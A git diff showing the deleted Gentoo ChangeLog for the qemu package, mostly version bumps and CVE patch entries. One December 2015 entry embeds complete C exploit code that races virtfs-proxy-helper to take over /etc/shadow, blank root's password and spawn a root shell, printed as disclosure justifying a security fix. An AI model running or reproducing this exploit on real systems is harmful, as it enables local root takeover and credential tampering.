Merge pull request #504 from crawford/qemu

app-emulation/qemu: remove
This commit is contained in:
Alex Crawford 2016-12-31 00:01:53 -08:00 committed by GitHub
commit bb29e80ea6
12 changed files with 0 additions and 3962 deletions

View File

@ -1,792 +0,0 @@
# ChangeLog for app-emulation/qemu
# Copyright 1999-2016 Gentoo Foundation; Distributed under the GPL v2
# (auto-generated from git log)
*qemu-9999 (09 Aug 2015)
*qemu-2.3.0-r5 (09 Aug 2015)
*qemu-2.3.0-r4 (09 Aug 2015)
09 Aug 2015; Robin H. Johnson <robbat2@gentoo.org> +files/65-kvm.rules,
+files/bridge.conf, +files/qemu-1.7.0-cflags.patch,
+files/qemu-2.2.1-CVE-2015-1779-1.patch,
+files/qemu-2.2.1-CVE-2015-1779-2.patch,
+files/qemu-2.3.0-CVE-2015-3209.patch,
+files/qemu-2.3.0-CVE-2015-3214.patch,
+files/qemu-2.3.0-CVE-2015-3456.patch,
+files/qemu-2.3.0-CVE-2015-5154-1.patch,
+files/qemu-2.3.0-CVE-2015-5154-2.patch,
+files/qemu-2.3.0-CVE-2015-5154-3.patch,
+files/qemu-2.3.0-CVE-2015-5158.patch,
+files/qemu-2.3.0-CVE-2015-5165-1.patch,
+files/qemu-2.3.0-CVE-2015-5165-2.patch,
+files/qemu-2.3.0-CVE-2015-5165-3.patch,
+files/qemu-2.3.0-CVE-2015-5165-4.patch,
+files/qemu-2.3.0-CVE-2015-5165-5.patch,
+files/qemu-2.3.0-CVE-2015-5165-6.patch,
+files/qemu-2.3.0-CVE-2015-5165-7.patch,
+files/qemu-2.3.0-CVE-2015-5166.patch, +files/qemu-binfmt.initd-r1,
+metadata.xml, +qemu-2.3.0-r4.ebuild, +qemu-2.3.0-r5.ebuild,
+qemu-9999.ebuild:
proj/gentoo: Initial commit
This commit represents a new era for Gentoo:
Storing the gentoo-x86 tree in Git, as converted from CVS.
This commit is the start of the NEW history.
Any historical data is intended to be grafted onto this point.
Creation process:
1. Take final CVS checkout snapshot
2. Remove ALL ChangeLog* files
3. Transform all Manifests to thin
4. Remove empty Manifests
5. Convert all stale $Header$/$Id$ CVS keywords to non-expanded Git $Id$
5.1. Do not touch files with -kb/-ko keyword flags.
Signed-off-by: Robin H. Johnson <robbat2@gentoo.org>
X-Thanks: Alec Warner <antarus@gentoo.org> - did the GSoC 2006 migration
tests
X-Thanks: Robin H. Johnson <robbat2@gentoo.org> - infra guy, herding this
project
X-Thanks: Nguyen Thai Ngoc Duy <pclouds@gentoo.org> - Former Gentoo
developer, wrote Git features for the migration
X-Thanks: Brian Harring <ferringb@gentoo.org> - wrote much python to improve
cvs2svn
X-Thanks: Rich Freeman <rich0@gentoo.org> - validation scripts
X-Thanks: Patrick Lauer <patrick@gentoo.org> - Gentoo dev, running new 2014
work in migration
X-Thanks: Michał Górny <mgorny@gentoo.org> - scripts, QA, nagging
X-Thanks: All of other Gentoo developers - many ideas and lots of paint on
the bikeshed
*qemu-2.3.0-r6 (10 Aug 2015)
10 Aug 2015; Mike Frysinger <vapier@gentoo.org>
+files/qemu-2.3.0-virtio-serial.patch, +qemu-2.3.0-r6.ebuild:
qemu: fix from upstream for virtio-serial security issue #557206
10 Aug 2015; Mike Frysinger <vapier@gentoo.org> qemu-2.3.0-r6.ebuild:
qemu: do not put directly into stable
*qemu-2.3.1 (12 Aug 2015)
12 Aug 2015; Mike Frysinger <vapier@gentoo.org> +qemu-2.3.1.ebuild:
qemu: version bump to 2.3.1
*qemu-2.4.0 (12 Aug 2015)
12 Aug 2015; Mike Frysinger <vapier@gentoo.org> +qemu-2.4.0.ebuild:
qemu: version bump to 2.4.0
14 Aug 2015; Mike Frysinger <vapier@gentoo.org> qemu-2.4.0.ebuild,
qemu-9999.ebuild:
depend on libepoxy for USE=opengl #557488
14 Aug 2015; Mike Frysinger <vapier@gentoo.org> qemu-2.4.0.ebuild,
qemu-9999.ebuild:
move more deps to softmmu-only case
These packages are only used when building softmmu binaries, so don't try
pulling them in when the user is building tools or user binaries.
14 Aug 2015; Mike Frysinger <vapier@gentoo.org> qemu-2.3.0-r4.ebuild,
qemu-2.3.0-r5.ebuild, qemu-2.3.0-r6.ebuild, qemu-2.3.1.ebuild,
qemu-2.4.0.ebuild, qemu-9999.ebuild:
switch to virtual/libusb to quiet repoman
Now that the virtual requires the latest libusb, we can switch to that
rather than depending directly on libusb's version.
16 Aug 2015; Justin Lecher <jlec@gentoo.org> metadata.xml,
qemu-2.3.0-r4.ebuild, qemu-2.3.0-r5.ebuild, qemu-2.3.0-r6.ebuild,
qemu-2.3.1.ebuild, qemu-2.4.0.ebuild, qemu-9999.ebuild:
Use slot operators for ncurses
Package-Manager: portage-2.2.20.1
Signed-off-by: Justin Lecher <jlec@gentoo.org>
24 Aug 2015; Justin Lecher <jlec@gentoo.org> metadata.xml,
qemu-2.3.0-r4.ebuild, qemu-2.3.0-r5.ebuild, qemu-2.3.0-r6.ebuild,
qemu-2.3.1.ebuild, qemu-2.4.0.ebuild, qemu-9999.ebuild:
Use https by default
Convert all URLs for sites supporting encrypted connections from http to
https
Signed-off-by: Justin Lecher <jlec@gentoo.org>
24 Aug 2015; Mike Gilbert <floppym@gentoo.org> metadata.xml:
Revert DOCTYPE SYSTEM https changes in metadata.xml
repoman does not yet accept the https version.
This partially reverts eaaface92ee81f30a6ac66fe7acbcc42c00dc450.
Bug: https://bugs.gentoo.org/552720
26 Aug 2015; Mike Frysinger <vapier@gentoo.org> qemu-2.3.0-r4.ebuild,
qemu-2.3.0-r5.ebuild, qemu-2.3.0-r6.ebuild, qemu-2.3.1.ebuild,
qemu-2.4.0.ebuild, qemu-9999.ebuild:
sys-libs/ncurses: move to SLOT=0 #557472
Use SLOT=0 for installing of main development files like other packages
so we can use other SLOTs for installing SONAME libs for binary packages.
28 Aug 2015; Manuel Rüger <mrueg@gentoo.org> -qemu-2.3.0-r4.ebuild:
Remove vulnerable
Package-Manager: portage-2.2.20.1
07 Sep 2015; Mike Frysinger <vapier@gentoo.org> qemu-9999.ebuild:
add new targets
07 Sep 2015; Mike Frysinger <vapier@gentoo.org> qemu-9999.ebuild:
update seabios pin to version 1.8.2
07 Sep 2015; Mike Frysinger <vapier@gentoo.org> qemu-9999.ebuild:
add target sanity checks
This way we know up front when a new target appears rather than when
someone happens to check & notice.
*qemu-2.4.0-r1 (07 Sep 2015)
07 Sep 2015; Mike Frysinger <vapier@gentoo.org>
+files/qemu-2.4.0-CVE-2015-5225.patch,
+files/qemu-2.4.0-block-mirror-crash.patch,
+files/qemu-2.4.0-e1000-loop.patch, -qemu-2.4.0.ebuild,
+qemu-2.4.0-r1.ebuild:
various fixes/updates
Sync in the updates from the 9999 ebuild:
- updated seabios pin
- add new targets
- add sanity checks for targets
Add fix from upstream for blockcommit crashes #558396.
Add fix from upstream for CVE-2015-5225 #558416.
Add fix posted upstream (but not yet merged) for e1000 infinite loop
#559656.
08 Sep 2015; Agostino Sarubbo <ago@gentoo.org> qemu-2.4.0-r1.ebuild:
amd64 stable wrt bug #558416
Package-Manager: portage-2.2.20.1
RepoMan-Options: --include-arches="amd64"
08 Sep 2015; Agostino Sarubbo <ago@gentoo.org> qemu-2.4.0-r1.ebuild:
x86 stable wrt bug #558416
Package-Manager: portage-2.2.20.1
RepoMan-Options: --include-arches="x86"
11 Sep 2015; Mike Frysinger <vapier@gentoo.org> qemu-2.4.0-r1.ebuild,
qemu-9999.ebuild:
require mesa[egl] too
Upstream commit 7ced9e9f6da2257224591b91727cfeee4f3977fb made the egl
layer of mesa a requirement.
16 Sep 2015; Mike Frysinger <vapier@gentoo.org> qemu-9999.ebuild:
switch USE=tls to USE=gnutls #560574
Upstream no longer has dedicated configuration options for tls settings.
Instead, it's all run through the gnutls feature test.
We require newer versions of gnutls because supporting older ones gets a
bit messy -- qemu might leverage libgcrypt or nettle depending on how the
gnutls package was built. By forcing the latest version, we can simplify
and only require nettle. This isn't a big deal as it's already stable.
26 Sep 2015; Mike Frysinger <vapier@gentoo.org> qemu-9999.ebuild:
add tilegx linux-user target #561322
29 Sep 2015; Mike Frysinger <vapier@gentoo.org> qemu-9999.ebuild:
update smartcard configure flag #561670
*qemu-2.4.0.1 (10 Oct 2015)
10 Oct 2015; Mike Frysinger <vapier@gentoo.org>
+files/qemu-2.4.0-CVE-2015-6855.patch,
+files/qemu-2.4.0-CVE-2015-7295-1.patch,
+files/qemu-2.4.0-CVE-2015-7295-2.patch,
+files/qemu-2.4.0-CVE-2015-7295-3.patch, +qemu-2.4.0.1.ebuild:
version bump to 2.4.0.1 #562594
This also includes security fixes for #560760 #560550 #560422.
*qemu-2.4.0.1-r1 (15 Oct 2015)
15 Oct 2015; Markos Chandras <hwoarang@gentoo.org>
+files/qemu-2.4-mips-fix-mtc0.patch, +files/qemu-2.4-mips-fix-rdhwr.patch,
+files/qemu-2.4-mips-move-interrupts-new-func.patch,
+files/qemu-2.4-mips-wake-up-on-irq.patch, +qemu-2.4.0.1-r1.ebuild:
Backport a few MIPS patches. Bug #563162
Package-Manager: portage-2.2.23
26 Oct 2015; Mike Frysinger <vapier@gentoo.org> qemu-9999.ebuild:
update qmp doc paths #564186
*qemu-2.4.1 (06 Nov 2015)
06 Nov 2015; Mike Frysinger <vapier@gentoo.org> +qemu-2.4.1.ebuild:
version bump to 2.4.1 #564990
07 Nov 2015; Mike Frysinger <vapier@gentoo.org> qemu-2.4.0-r1.ebuild,
qemu-2.4.0.1.ebuild, qemu-2.4.0.1-r1.ebuild, qemu-2.4.1.ebuild,
qemu-9999.ebuild:
force C locale for sorting to workaround glibc bug #564936
23 Nov 2015; Mike Frysinger <vapier@gentoo.org>
+files/qemu-2.5.0-cflags.patch, qemu-9999.ebuild:
update cflags patch #565866
07 Dec 2015; Doug Goldstein <cardoe@gentoo.org> qemu-2.3.0-r5.ebuild,
qemu-2.3.0-r6.ebuild, qemu-2.3.1.ebuild, qemu-2.4.0-r1.ebuild,
qemu-2.4.0.1.ebuild, qemu-2.4.0.1-r1.ebuild, qemu-2.4.1.ebuild,
qemu-9999.ebuild:
utilize xen-tools sub-slot
app-emulation/xen-tools now exposes a sub-slot to help dependencies
rebuild when necessary.
Signed-off-by: Doug Goldstein <cardoe@gentoo.org>
*qemu-2.4.1-r1 (08 Dec 2015)
08 Dec 2015; Mike Frysinger <vapier@gentoo.org>
+files/qemu-2.4.1-CVE-2015-7504.patch,
+files/qemu-2.4.1-CVE-2015-7512.patch,
+files/qemu-2.4.1-CVE-2015-8345.patch, +qemu-2.4.1-r1.ebuild:
add upstream security fixes #566792 #567144
08 Dec 2015; Mike Frysinger <vapier@gentoo.org> metadata.xml,
qemu-9999.ebuild:
add USE=virgl for Virgil 3d GPU #566994
08 Dec 2015; Mike Frysinger <vapier@gentoo.org> qemu-9999.ebuild:
switch to new libcacard release #561814
*qemu-2.4.0.1-r2 (14 Dec 2015)
*qemu-2.4.0-r2 (14 Dec 2015)
*qemu-2.3.1-r1 (14 Dec 2015)
*qemu-2.3.0-r7 (14 Dec 2015)
14 Dec 2015; Jason A. Donenfeld <zx2c4@gentoo.org> +qemu-2.3.0-r7.ebuild,
+qemu-2.3.1-r1.ebuild, +qemu-2.4.0-r2.ebuild, +qemu-2.4.0.1-r2.ebuild:
critical security fix
The virtfs-proxy-helper program is not a safe binary to give caps.
The following exploit code demonstrates the vulnerability:
~=~=~=~= snip ~=~=~=~=
/* == virtfshell ==
*
* Some distributions make virtfs-proxy-helper from QEMU either SUID or
* give it CAP_CHOWN fs capabilities. This is a terrible idea. While
* virtfs-proxy-helper makes some sort of flimsy check to make sure
* its socket path doesn't already exist, it is vulnerable to TOCTOU.
*
* This should spawn a root shell eventually on vulnerable systems.
*
* - zx2c4
* 2015-12-12
*
*
* zx2c4@thinkpad ~ $ lsb_release -i
* Distributor ID: Gentoo
* zx2c4@thinkpad ~ $ ./virtfshell
* == Virtfshell - by zx2c4 ==
* [+] Beginning race loop
* [+] Chown'd /etc/shadow, elevating to root
* [+] Cleaning up
* [+] Spawning root shell
* thinkpad zx2c4 # whoami
* root
*
*/
#include <stdio.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/inotify.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
static int it_worked(void)
{
struct stat sbuf = { 0 };
stat("/etc/shadow", &sbuf);
return sbuf.st_uid == getuid() && sbuf.st_gid == getgid();
}
int main(int argc, char **argv)
{
int fd;
pid_t pid;
char uid[12], gid[12];
sprintf(uid, "%d", getuid());
sprintf(gid, "%d", getgid());
printf("== Virtfshell - by zx2c4 ==\n");
printf("[+] Beginning race loop\n");
while (!it_worked()) {
fd = inotify_init();
unlink("/tmp/virtfshell/sock");
mkdir("/tmp/virtfshell", 0777);
inotify_add_watch(fd, "/tmp/virtfshell", IN_CREATE);
pid = fork();
if (!pid) {
close(0);
close(1);
close(2);
execlp("virtfs-proxy-helper", "virtfs-proxy-helper",
"-n", "-p", "/tmp", "-u", uid, "-g", gid, "-s", "/tmp/virtfshell/sock",
NULL);
_exit(1);
}
read(fd, 0, 0);
unlink("/tmp/virtfshell/sock");
symlink("/etc/shadow", "/tmp/virtfshell/sock");
close(fd);
kill(pid, SIGKILL);
wait(NULL);
}
printf("[+] Chown'd /etc/shadow, elevating to root\n");
system( "cp /etc/shadow /tmp/original_shadow;"
"sed 's/^root:.*/root::::::::/' /etc/shadow >
/tmp/modified_shadow;"
"cat /tmp/modified_shadow > /etc/shadow;"
"su -c '"
" echo [+] Cleaning up;"
" cat /tmp/original_shadow > /etc/shadow;"
" chown root:root /etc/shadow;"
" rm /tmp/modified_shadow /tmp/original_shadow;"
" echo [+] Spawning root shell;"
" exec /bin/bash -i"
"'");
return 0;
}
15 Dec 2015; Mike Frysinger <vapier@gentoo.org> qemu-2.3.0-r5.ebuild,
qemu-2.3.0-r6.ebuild, qemu-2.3.1.ebuild, qemu-2.4.0-r1.ebuild,
qemu-2.4.0.1.ebuild, qemu-2.4.0.1-r1.ebuild, qemu-2.4.1.ebuild,
qemu-2.4.1-r1.ebuild, qemu-9999.ebuild:
drop virtfs-proxy-helper fcaps from all versions #568226
*qemu-2.4.1-r2 (15 Dec 2015)
15 Dec 2015; Mike Frysinger <vapier@gentoo.org>
+files/qemu-2.4.1-CVE-2015-7549.patch,
+files/qemu-2.4.1-CVE-2015-8504.patch, +qemu-2.4.1-r2.ebuild:
add upstream fixes for #567828 #568214
16 Dec 2015; Agostino Sarubbo <ago@gentoo.org> qemu-2.4.1-r2.ebuild:
amd64 stable wrt bug #567828
Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
16 Dec 2015; Agostino Sarubbo <ago@gentoo.org> qemu-2.4.1-r2.ebuild:
x86 stable wrt bug #567828
Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="x86"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
*qemu-2.5.0 (17 Dec 2015)
17 Dec 2015; Mike Frysinger <vapier@gentoo.org> +qemu-2.5.0.ebuild:
version bump to 2.5.0
17 Dec 2015; Mike Frysinger <vapier@gentoo.org>
-files/qemu-2.2.1-CVE-2015-1779-1.patch,
-files/qemu-2.2.1-CVE-2015-1779-2.patch,
-files/qemu-2.3.0-CVE-2015-3209.patch,
-files/qemu-2.3.0-CVE-2015-3214.patch,
-files/qemu-2.3.0-CVE-2015-3456.patch,
-files/qemu-2.3.0-CVE-2015-5154-1.patch,
-files/qemu-2.3.0-CVE-2015-5154-2.patch,
-files/qemu-2.3.0-CVE-2015-5154-3.patch,
-files/qemu-2.3.0-CVE-2015-5158.patch,
-files/qemu-2.3.0-CVE-2015-5165-1.patch,
-files/qemu-2.3.0-CVE-2015-5165-2.patch,
-files/qemu-2.3.0-CVE-2015-5165-3.patch,
-files/qemu-2.3.0-CVE-2015-5165-4.patch,
-files/qemu-2.3.0-CVE-2015-5165-5.patch,
-files/qemu-2.3.0-CVE-2015-5165-6.patch,
-files/qemu-2.3.0-CVE-2015-5165-7.patch,
-files/qemu-2.3.0-CVE-2015-5166.patch,
-files/qemu-2.3.0-virtio-serial.patch,
-files/qemu-2.4.0-CVE-2015-5225.patch,
-files/qemu-2.4.0-CVE-2015-6855.patch,
-files/qemu-2.4.0-CVE-2015-7295-1.patch,
-files/qemu-2.4.0-CVE-2015-7295-2.patch,
-files/qemu-2.4.0-CVE-2015-7295-3.patch,
-files/qemu-2.4.0-block-mirror-crash.patch,
-files/qemu-2.4.0-e1000-loop.patch, -qemu-2.3.0-r5.ebuild,
-qemu-2.3.0-r6.ebuild, -qemu-2.3.0-r7.ebuild, -qemu-2.3.1.ebuild,
-qemu-2.3.1-r1.ebuild, -qemu-2.4.0-r1.ebuild, -qemu-2.4.0-r2.ebuild,
-qemu-2.4.0.1.ebuild, -qemu-2.4.0.1-r1.ebuild, -qemu-2.4.0.1-r2.ebuild,
-qemu-2.4.1.ebuild, -qemu-2.4.1-r1.ebuild:
drop versions <2.4.1-r2
20 Dec 2015; Mike Frysinger <vapier@gentoo.org> qemu-2.5.0.ebuild,
qemu-9999.ebuild:
disable libgcrypt usage #568856
*qemu-2.5.0-r1 (18 Jan 2016)
18 Jan 2016; Mike Frysinger <vapier@gentoo.org>
+files/qemu-2.5.0-CVE-2015-8558.patch,
+files/qemu-2.5.0-CVE-2015-8567.patch,
+files/qemu-2.5.0-CVE-2015-8701.patch,
+files/qemu-2.5.0-CVE-2015-8743.patch,
+files/qemu-2.5.0-CVE-2016-1568.patch, +qemu-2.5.0-r1.ebuild:
add upstream fixes for #567868 #568246 #570110 #570988 #571566
24 Jan 2016; Michał Górny <mgorny@gentoo.org> metadata.xml:
Replace all herds with appropriate projects (GLEP 67)
Replace all uses of herd with appropriate project maintainers, or no
maintainers in case of herds requested to be disbanded.
24 Jan 2016; Michał Górny <mgorny@gentoo.org> metadata.xml:
Set appropriate maintainer types in metadata.xml (GLEP 67)
26 Jan 2016; Agostino Sarubbo <ago@gentoo.org> qemu-2.5.0-r1.ebuild:
amd64 stable wrt bug #571566
Package-Manager: portage-2.2.26
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
26 Jan 2016; Agostino Sarubbo <ago@gentoo.org> qemu-2.5.0-r1.ebuild:
x86 stable wrt bug #571566
Package-Manager: portage-2.2.26
RepoMan-Options: --include-arches="x86"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
15 Feb 2016; Doug Goldstein <cardoe@gentoo.org>
-files/qemu-1.7.0-cflags.patch, -files/qemu-2.4-mips-fix-mtc0.patch,
-files/qemu-2.4-mips-fix-rdhwr.patch,
-files/qemu-2.4-mips-move-interrupts-new-func.patch,
-files/qemu-2.4-mips-wake-up-on-irq.patch,
-files/qemu-2.4.1-CVE-2015-7504.patch,
-files/qemu-2.4.1-CVE-2015-7512.patch,
-files/qemu-2.4.1-CVE-2015-7549.patch,
-files/qemu-2.4.1-CVE-2015-8345.patch,
-files/qemu-2.4.1-CVE-2015-8504.patch, -qemu-2.4.1-r2.ebuild,
-qemu-2.5.0.ebuild:
remove vulnerable versions
Package-Manager: portage-2.2.26
Signed-off-by: Doug Goldstein <cardoe@gentoo.org>
15 Feb 2016; Patrick Lauer <patrick@gentoo.org> metadata.xml:
Remove unneeded useflag description from metadata.xml
Package-Manager: portage-2.2.27
19 Feb 2016; Robin H. Johnson <robbat2@gentoo.org> metadata.xml:
restore USE=gnutls use desc for side-effects
commit ea4d1e1fcc just removed the USE=tls, rather than updating it for
USE=gnutls. Per the description, it has side-effects of enabling
enabling WebSocket & disk quorum features.
Package-Manager: portage-2.2.27
28 Feb 2016; Doug Goldstein <cardoe@gentoo.org> qemu-2.5.0-r1.ebuild:
fix arm64 dependencies
arm/arm64 have some dependencies which are higher than other platforms.
Unfortunately the dependencies are not stable on arm but this package is
so arm updates will come later.
Package-Manager: portage-2.2.26
Signed-off-by: Doug Goldstein <cardoe@gentoo.org>
28 Feb 2016; Matthew Thode <prometheanfire@gentoo.org> qemu-2.5.0-r1.ebuild:
keywording arm64
merged on X-C1
Package-Manager: portage-2.2.26
15 Mar 2016; Doug Goldstein <cardoe@gentoo.org> qemu-2.5.0-r1.ebuild:
fix arm depends for libseccomp
arm needs libseccomp 2.2.3 or newer for QEMU to be able to utilize it.
Package-Manager: portage-2.2.26
Signed-off-by: Doug Goldstein <cardoe@gentoo.org>
*qemu-2.5.0-r2 (23 Mar 2016)
23 Mar 2016; Mike Frysinger <vapier@gentoo.org>
+files/qemu-2.5.0-CVE-2015-8613.patch,
+files/qemu-2.5.0-CVE-2015-8619.patch,
+files/qemu-2.5.0-CVE-2016-1714.patch,
+files/qemu-2.5.0-CVE-2016-1922.patch,
+files/qemu-2.5.0-CVE-2016-1981.patch,
+files/qemu-2.5.0-CVE-2016-2197.patch,
+files/qemu-2.5.0-CVE-2016-2198.patch,
+files/qemu-2.5.0-CVE-2016-2392.patch,
+files/qemu-2.5.0-rng-stack-corrupt-0.patch,
+files/qemu-2.5.0-rng-stack-corrupt-1.patch,
+files/qemu-2.5.0-rng-stack-corrupt-2.patch,
+files/qemu-2.5.0-rng-stack-corrupt-3.patch,
+files/qemu-2.5.0-sysmacros.patch, +files/qemu-2.5.0-usb-ehci-oob.patch,
+files/qemu-2.5.0-usb-ndis-int-overflow.patch, +qemu-2.5.0-r2.ebuild:
backport various upstream fixes
24 Mar 2016; Agostino Sarubbo <ago@gentoo.org> qemu-2.5.0-r2.ebuild:
amd64 stable wrt bug #578044
Package-Manager: portage-2.2.26
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
24 Mar 2016; Agostino Sarubbo <ago@gentoo.org> qemu-2.5.0-r2.ebuild:
x86 stable wrt bug #578044
Package-Manager: portage-2.2.26
RepoMan-Options: --include-arches="x86"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
25 Mar 2016; Sergey Popov <pinkbyte@gentoo.org> -qemu-2.5.0-r1.ebuild:
security cleanup
Gentoo-Bug: 576420
Package-Manager: portage-2.2.28
28 Mar 2016; Mike Frysinger <vapier@gentoo.org> qemu-2.5.0-r2.ebuild,
qemu-9999.ebuild:
use l10n.eclass to respect LINGUAS #577814
*qemu-2.5.0-r3 (28 Mar 2016)
28 Mar 2016; Mike Frysinger <vapier@gentoo.org>
+files/qemu-2.5.0-9pfs-segfault.patch,
+files/qemu-2.5.0-ne2000-reg-check.patch, +qemu-2.5.0-r3.ebuild:
add few more upstream fixes #573816 #578142
29 Mar 2016; Agostino Sarubbo <ago@gentoo.org> qemu-2.5.0-r3.ebuild:
amd64 stable wrt bug #573816
Package-Manager: portage-2.2.26
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
29 Mar 2016; Agostino Sarubbo <ago@gentoo.org> qemu-2.5.0-r3.ebuild:
x86 stable wrt bug #573816
Package-Manager: portage-2.2.26
RepoMan-Options: --include-arches="x86"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
20 Apr 2016; Mike Frysinger <vapier@gentoo.org> qemu-2.5.0-r3.ebuild,
qemu-9999.ebuild:
mention /dev/kvm perm updates in the readme/elog #580436
*qemu-2.5.1 (23 Apr 2016)
23 Apr 2016; Mike Frysinger <vapier@gentoo.org>
+files/qemu-2.5.1-CVE-2015-8558.patch,
+files/qemu-2.5.1-CVE-2016-4020.patch,
+files/qemu-2.5.1-stellaris_enet-overflow.patch, +qemu-2.5.1.ebuild:
app-misc/qemu: version bump & bug fixes #579614 #580040 #580426
12 May 2016; Mike Frysinger <vapier@gentoo.org> qemu-2.5.1.ebuild,
qemu-9999.ebuild:
use subslots w/nettle & gnutls #582836
*qemu-2.6.0 (17 May 2016)
17 May 2016; Mike Frysinger <vapier@gentoo.org> +qemu-2.6.0.ebuild,
qemu-9999.ebuild:
version bump to 2.6.0 #583212
17 May 2016; Mike Frysinger <vapier@gentoo.org>
+files/qemu-2.5.1-xfs-linux-headers.patch, qemu-2.5.1.ebuild:
workaround breakage in xfs/linux headers #577810
Add upstream patch to workaround some combinations of xfsprogs & linux
headers so we don't have to worry about stable breakage anymore. This
fix is already in upstream & unstable versions.
18 May 2016; Austin English <wizardedit@gentoo.org>
files/qemu-binfmt.initd-r1:
use #!/sbin/openrc-run instead of #!/sbin/runscript
06 Jun 2016; Mike Frysinger <vapier@gentoo.org> qemu-2.5.0-r2.ebuild,
qemu-2.5.0-r3.ebuild, qemu-2.5.1.ebuild, qemu-2.6.0.ebuild,
qemu-9999.ebuild:
depend on jpeg SLOT=0 for building
07 Jun 2016; Mike Frysinger <vapier@gentoo.org>
+files/qemu-2.6.0-crypto-static.patch, qemu-2.6.0.ebuild, qemu-9999.ebuild:
fix static linking errors w/curl[ssl,curl_ssl_openssl]
21 Jun 2016; Mike Frysinger <vapier@gentoo.org> qemu-9999.ebuild:
drop kvm_stat to match upstream #586158
29 Jun 2016; Alexey Shvetsov <alexxy@gentoo.org> qemu-2.5.0-r2.ebuild,
qemu-2.5.0-r3.ebuild, qemu-2.5.1.ebuild, qemu-2.6.0.ebuild,
qemu-9999.ebuild:
adapt sys-infiniband to sys-fabric rename
Package-Manager: portage-2.3.0_rc1
01 Aug 2016; Mike Frysinger <vapier@gentoo.org> qemu-2.5.1.ebuild,
qemu-2.6.0.ebuild, qemu-9999.ebuild:
handle bzip2 dep #589968
The block layer uses it to support bzip2 compression in dmg images.
That code makes it into softmmu binaries and userland utils.
07 Aug 2016; Luca Barbato <lu_zero@gentoo.org>
+files/qemu-2.6.0-glib-size_t.patch, qemu-2.6.0.ebuild:
Drop a -Werror when it could cause a false positive
The check code could trigger recent compiler warnings.
Package-Manager: portage-2.2.26
15 Aug 2016; Luca Barbato <lu_zero@gentoo.org> files/qemu-binfmt.initd-r1:
Update ppc magic mask
Unbreak using qemu-user with current stage3.
Package-Manager: portage-2.3.0
21 Aug 2016; Luca Barbato <lu_zero@gentoo.org> qemu-9999.ebuild:
Update the languages list
Package-Manager: portage-2.3.0
21 Aug 2016; Luca Barbato <lu_zero@gentoo.org> qemu-9999.ebuild:
Drop a patch
It is already upstreamed.
Package-Manager: portage-2.3.0
05 Sep 2016; Matthias Maier <tamiko@gentoo.org> -qemu-2.5.0-r2.ebuild,
-qemu-2.5.0-r3.ebuild:
remove vulnerable 2.5.0
Package-Manager: portage-2.2.28
*qemu-2.7.0 (05 Sep 2016)
05 Sep 2016; Matthias Maier <tamiko@gentoo.org> +qemu-2.7.0.ebuild:
version bump to 2.7.0, various security fixes
3af9187fc6caaf415ab9c0c6d92c9678f65cb17f -> CVE-2016-4001, bug #579734
3a15cc0e1ee7168db0782133d2607a6bfa422d66 -> CVE-2016-4002, bug #579734
c98c6c105f66f05aa0b7c1d2a4a3f716450907ef -> CVE-2016-4439, bug #583496
6c1fef6b59563cc415f21e03f81539ed4b33ad90 -> CVE-2016-4441, bug #583496
06630554ccbdd25780aa03c3548aaff1eb56dffd -> , bug #583952
844864fbae66935951529408831c2f22367a57b6 -> CVE-2016-5337, bug #584094
b60bdd1f1ee1616b7a9aeeffb4088e1ce2710fb2 -> , bug #584102
1b85898025c4cd95dce673d15e67e60e98e91731 -> , bug #584146
521360267876d3b6518b328051a2e56bca55bef8 -> CVE-2016-4453, bug #584514
4e68a0ee17dad7b8d870df0081d4ab2e079016c2 -> CVE-2016-4454, bug #584514
a6b3167fa0e825aebb5a7cd8b437b6d41584a196 -> CVE-2016-5126, bug #584630
ff589551c8e8e9e95e211b9d8daafb4ed39f1aec -> CVE-2016-5338, bug #584918
d3cdc49138c30be1d3c2f83d18f85d9fdee95f1a -> CVE-2016-5238, bug #584918
1e7aed70144b4673fc26e73062064b6724795e5f -> , bug #589924
afd9096eb1882f23929f5b5c177898ed231bac66 -> CVE-2016-5403, bug #589928
eb700029c7836798046191d62d595363d92c84d4 -> CVE-2016-6835, bug #591244
ead315e43ea0c2ca3491209c6c8db8ce3f2bbe05 -> CVE-2016-6834, bug #591374
6c352ca9b4ee3e1e286ea9e8434bd8e69ac7d0d8 -> CVE-2016-6833, bug #591380
47882fa4975bf0b58dd74474329fdd7154e8f04c -> CVE-2016-6888, bug #591678
805b5d98c649d26fc44d2d7755a97f18e62b438a
56f101ecce0eafd09e2daf1c4eeb1377d6959261
fff39a7ad09da07ef490de05c92c91f22f8002f2 -> , bug #592430
Package-Manager: portage-2.2.28
05 Sep 2016; Matthias Maier <tamiko@gentoo.org>
+files/qemu-2.7.0-CVE-2016-6836.patch, qemu-2.7.0.ebuild:
apply patch for CVE-2016-6836, bug #591242
Package-Manager: portage-2.2.28
05 Sep 2016; Matthias Maier <tamiko@gentoo.org> -qemu-2.6.0.ebuild,
qemu-2.7.0.ebuild:
drop vulnerable 2.6.0
Package-Manager: portage-2.2.28
05 Sep 2016; Matthias Maier <tamiko@gentoo.org>
-files/qemu-2.5.0-9pfs-segfault.patch,
-files/qemu-2.5.0-CVE-2015-8567.patch,
-files/qemu-2.5.0-CVE-2015-8613.patch,
-files/qemu-2.5.0-CVE-2015-8619.patch,
-files/qemu-2.5.0-CVE-2015-8701.patch,
-files/qemu-2.5.0-CVE-2015-8743.patch,
-files/qemu-2.5.0-CVE-2016-1568.patch,
-files/qemu-2.5.0-CVE-2016-1714.patch,
-files/qemu-2.5.0-CVE-2016-1922.patch,
-files/qemu-2.5.0-CVE-2016-1981.patch,
-files/qemu-2.5.0-CVE-2016-2197.patch,
-files/qemu-2.5.0-CVE-2016-2392.patch,
-files/qemu-2.5.0-ne2000-reg-check.patch,
-files/qemu-2.5.0-usb-ehci-oob.patch,
-files/qemu-2.5.0-usb-ndis-int-overflow.patch,
